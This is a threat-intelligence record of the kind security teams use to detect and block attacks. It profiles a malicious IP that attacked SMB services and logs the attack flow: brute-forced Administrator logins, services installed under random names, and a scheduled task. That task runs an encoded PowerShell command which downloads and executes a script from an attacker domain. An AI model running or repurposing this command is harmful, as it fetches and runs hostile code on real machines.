Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 43.154.173.115Malicious

IP Address: 43.154.173.115Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

IDS - A Network Trojan was detected SMB Null Session Login Successful SMB Login Service Creation CMD DNS Query Listening SMB Share Connect SMB Service Start PowerShell Service Deletion Access Suspicious Domain Scheduled Task Creation File Operation By CMD

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

43.154.173.115

Domain

-

ISP

-

Country

Hong Kong

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-12-01

Last seen in Akamai Guardicore Segmentation

2024-06-08

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named JMrF under service group None

Service Creation Service Start

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 11 times

Successful SMB Login

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named MQLz under service group None

Service Creation Service Start

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started as a service named ZcXQ under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named MkRe under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named fAnZ under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named gONx under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named BCVQ under service group None

Service Creation Service Start

c:\windows\system32\services.exe installed and started as a service named LwOh under service group None

Service Creation Service Start

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